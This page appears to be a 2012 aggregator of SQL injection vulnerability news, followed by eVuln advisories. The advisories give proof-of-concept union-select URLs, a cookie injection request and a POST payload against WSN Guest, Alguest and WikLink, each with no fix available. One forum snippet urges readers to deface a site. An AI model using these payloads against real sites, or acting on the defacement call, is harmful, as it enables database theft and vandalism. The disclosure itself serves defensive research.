Recent SQL Injection vulnerabilities

Latest information about SQL Injections

22.02.2012 13:32 OWASP Upnorthwebs / Lightbox SQL Injection - webapps - Code Exploits - Upnorthwebs / Lightbox SQL Injection,Th ... details >>

22.02.2012 11:32 [webapps / 0day] - BRIM < 2.0.0 SQL Injection details >>

22.02.2012 05:23 Limesurvey (PHPSurveyor v.1.91+ stable) Blind SQL Injection details >>

22.02.2012 05:23 BRIM < 2.0.0 SQL Injection details >>

22.02.2012 05:23 DevLove [webapps] - Limesurvey (PHPSurveyor v.1.91+ stable) Blind SQL Injection: details >>

22.02.2012 05:23 exploit-db E: [webapps] - Limesurvey (PHPSurveyor v.1.91+ stable) Blind SQL Injection: details >>

21.02.2012 19:31 OWASP How to Prevent SQL Injection in ASPNET - Summary This How to shows a number of ways to help protect your ASP ... details >>

21.02.2012 19:29 Exploit Files - SocialCMS Cross Site Scripting / SQL Injection details >>

21.02.2012 17:34 [webapps / 0day] - VOXTRONIC Voxlog Professional 3.7.2.729 SQL Injection: details >>

21.02.2012 15:34 ELBA multiple security vulnerabilities: DoS, information leakage, SQL injection. Applications: ELBA 5.5 (22.02.2012) details >>

20.02.2012 22:33 research paper proposal completed, "SQL Injection Attacks on Sybase database resided on Ubuntu" ..sigh (*sweat*)

20.02.2012 22:01 SQL Injection Vulnerabilities in TestLink: Posted by jnatal on Feb 20------------------ Information... details >> |Seclists

20.02.2012 21:01 Exploit Files - VOXTRONIC Voxlog Professional 3.7.2.729 SQL Injection / Disclosure details >>

20.02.2012 21:01 Advisory Files - ELBA 5.4.1 SQL Injection / Denial Of Service details >>

20.02.2012 06:18 Serialized SQL Injection con errores ODBC details >>

20.02.2012 05:56 les dejo una vulnerabilidad SQL Injection. details >> Defaceenla sin piedad. Aganlo por mi.

20.02.2012 05:47 btw. I found an sql injection vuln on , and managed to send/cc the disclosure to a public list

19.02.2012 17:49 Download SQL Injection Scanner.pdf: Free download SQL Injection Scanner ...

19.02.2012 17:49 SQL Injection Protection: database firewall sql injection database security mysql injection sql injection tutorial details >>

19.02.2012 16:49 Introduction to SQL Injection via

Here is short summary of recent SQL Injection vulnerabilities discovered by eVuln team. Full list with details is available on the eVuln Security Advisories page.

time SQL Injection vulnerability in WSN Guest.

Description.

It is possible to inject SQL expression using time parameter in the memberlist.php script.

Parameter time is used in SQL query without proper sanitation.

Exploit.

SQL Injection PoC:

http://website/wsnguest/memberlist.php? field=time%27&ascdesc=asc&perpage=25&debug=1

SQL expression injection is possible after ORDER BY.

Solution

Solution is not available.

wsnuser Cookie SQL Injection vulnerability in WSN Guest.

Description.

It is possible to inject arbitrary SQL query using wsnuser cookie parameter in the index.php script.

Parameter wsnuser is used in SQL query without proper sanitation.

Exploit.

Cookie SQL Injection PoC. HTTP query:
GET /wsnguest/index.php?debug=1 HTTP/1.0
Host: website
Cookie: wsnuser=[SQL Injection]

Solution

Solution is not available.

elimina SQL Injection vulnerability in Alguest.

Description.

It is possible to inject arbitrary SQL query using elimina parameter in elimina.php script.

Parameter elimina is used in SQL query without any sanitation.

Exploit.

Vulnerable code: $query = "DELETE FROM guest WHERE id=$elimina";

SQL Injection PoC:
POST /alguest/elimina.php HTTP/1.0
Host: website
Cookie: admin=1
Content-Length: N

send=elimina&elimina=[SQL Injection]

Solution

Solution is not available.

fold and site SQL Injections in WikLink.

Description.

It is possible to inject arbitrary SQL query using fold and site parameters in editCategory.php and editSite.php scripts.

Parameters fold and site are used in SQL query without any sanitation.

Condition: magic_quotes: off

Exploit.

SQL Injection example1:
http://website/wiklink/editCategory.php?action=edit&fold=9999'%20union%20select%201,2,3,4/*

SQL Injection example2:
http://website/wiklink/editSite.php?action=edit&site=999'%20union%20select%201,2,3,4,5/*

Solution

Solution is not available.

id SQL Injection in WikLink.

Description.

It is possible to inject arbitrary SQL query using id parameter in getURL.php script.

Parameter id used in SQL query without any sanitation.

Condition: magic_quotes: off

Exploit.

SQL Injection example: http://website/wiklink/getURL.php?id=-1' union select 1111/*

Solution

Solution is not available.